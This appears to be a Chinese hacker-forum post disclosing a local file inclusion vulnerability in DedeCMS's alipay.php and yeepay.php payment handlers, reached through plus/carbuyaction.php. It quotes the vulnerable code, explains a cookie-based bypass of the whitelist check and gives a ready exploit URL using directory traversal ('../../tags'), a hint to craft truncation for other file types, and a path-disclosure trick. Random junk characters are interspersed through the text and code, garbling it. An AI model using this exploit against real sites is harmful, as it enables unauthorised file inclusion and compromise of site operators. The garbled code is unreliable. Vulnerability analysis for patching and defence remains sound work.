晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)# m* [" s2 s0 b& n f8 X2 `6 f
4 ]* N5 \$ F. C: W$ Z5 T6 R5 b出现漏洞的两个文件为:2 x+ G Z6 T. o7 u) D' C
Include/payment/alipay.php" B. _& T0 B& k
Include/payment/yeepay.php/ t) b' ?- v. f: Z% F
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
, o) ?% ?5 w$ P" w- h
' E' w. }. R' G3 L7 N5 p/ H9 AInclude/payment/alipay.php
@8 p/ K4 n3 _* [6 K+ K
" `& T0 S0 s. C+ V2 D......
M! \$ o5 |7 d5 p3 W function respond()
& B* G# E# c1 r& Y; K2 g9 f# H {
8 m9 P5 ^; k7 f$ |1 Z1 A) N if (!empty($_POST))
3 ]) l# n! L* @' D: U* O {- o% n8 J2 K: k3 H( e2 S. Q
foreach($_POST as $key => $data)' Q3 b8 i D: [. ?) M" j5 E8 {) D
{
* m7 j* u' x% i% } $_GET[$key] = $data;8 r; d" _! i3 b8 _$ z" | r- y$ I
}% u* A6 R M0 n: m5 Q
}2 W! K3 P" l7 e { }/ u5 O
/* 引入配置文件 */3 o% V: i4 Z! x
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
0 j) j$ P1 A4 |( M% l4 S......
; z. i2 p1 f- P- U4 h- J 3 l* { j5 z9 a0 i$ {
& s! t( D, A( \( n: \
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。3 b, Q* E; ~! M
$ T7 V, p* q5 _0 r7 z) o% H, U
Include/payment/yeepay.php" y- F0 D# O( |+ p$ R( p. x: A) h7 W
6 U0 z, j5 [6 e1 J* e. P
3 u0 M7 @* \3 o' `/ _. f7 I5 z' L' w( t! v8 t; u5 ]; K# q
......2 ?$ i/ j1 f/ [8 A+ o2 U7 u
function respond()
: b% I$ h, b+ s4 z4 B {
' [; Q/ v7 E, q9 x! V 2 C& w1 q) l6 r! E( Q
/* 引入配置文件 */
# l& Q& x' t' ~1 I) b q% A require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';: x7 d+ C: `3 ~8 y0 w) h
; @! n) g) R/ n* P! G( o5 b) f
$p1_MerId = trim($payment['yp_account']);* K: D, f; m2 @7 n0 j$ p) p
$merchantKey = trim($payment['yp_key']);
3 o" J# v ~# ]% Z4 m......
1 E, A! w, D. H( I: I5 R/ g
6 U% Y* t' c) z) r: q5 s2 |5 t$ A0 }( V
0 |) k, ^0 b7 Y; T& K
3 t' Z' h6 O/ Z7 r5 K! V大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。4 T/ i! Z9 u% j: T+ Z
9 J. Q$ g6 S# O这两个方法在plus/carbuyaction.php文件调用。0 c- q; F/ ?! M" X; u
7 z: d8 l% k ~plus/carbuyaction.php6 f' x9 `, M- e' `+ V+ w* u
- c! `* b9 @8 e; X) h. t% C
......
- M# m8 u( G1 K& H} else if ($dopost == 'return') {
1 n! y; f- b7 r% r }1 R $write_list = array('alipay', 'bank', 'cod', 'yeepay');3 E! X* V" y' c0 M1 }- y3 P
if (in_array($code, $write_list))
7 A+ s/ T+ X1 z* Z! J {
; Y: [& ^& `* D W+ c, ^; x require_once DEDEINC.'/payment/'.$code.'.php';1 z3 V: C; W' ]4 z5 K
$pay = new $code;
' S2 _+ b& {, k3 v, K! A $msg=$pay->respond();
?+ D) j$ u' R# F% `2 R) Y ShowMsg($msg, "javascript:;", 0, 3000);
8 T" G8 ~- H3 a* R, g/ U) m# { exit();
. p1 J" Z' G- t0 M" I6 [$ g/ n } else { ^1 R/ [8 S' X0 p* v
exit('Error:File Type Can\'t Recognized!'); e) X3 U( S! ~- Z) h/ U
}( e; W2 f" ]/ t% ?! z- z
}' x$ |$ q+ ?% O3 q
...... . N' A; x Q- |5 m4 b( O0 Q7 l
% U0 g: _+ f% V4 y* G8 R2 D9 j9 d+ V& Q2 Q6 i m+ T% g
5 s- H, L( E. `$ I0 g' \7 Z" Z4 }
0 x8 F, n k( H* @. g 3 F$ o5 k+ `, b8 Y
& @ S- ]" z% f. \$ p( ^9 ^* b( T2 f大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
) ]: F6 ~; F$ V c3 p$ I所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。 h* X8 F9 n5 J# @4 X' s* ^! I
) j. T& ^) z# z ?回到include/common.inc.php来看看他的机制。
4 @& k1 {1 x6 v: ]- h M( z: }" q# J. o' I) C6 D
3 m- z! w- L; L4 b( e6 R' ?1 P6 k/ Q
......% P: ~) W. Z" F# T" l
foreach(Array('_GET','_POST','_COOKIE') as $_request)
% u0 \& D( L2 u, V{
5 }3 p: W/ M: R5 |! W) x foreach($$_request as $_k => $_v)
- l6 ^8 f9 {0 \ {7 y5 U) }) M7 V" E! t v
if($_k == 'nvarname') ${$_k} = $_v;6 C9 l$ ~2 r; a$ F- G
else ${$_k} = _RunMagicQuotes($_v);( F; \; [/ z8 L
}/ ]0 `% \/ w3 R# p. j( [/ O
}& k3 v* H7 l* f' O5 U* \4 f
......
! L( q: t3 J2 G7 D# q- \1 d大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:1 v2 M" x/ g! \0 B' s
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |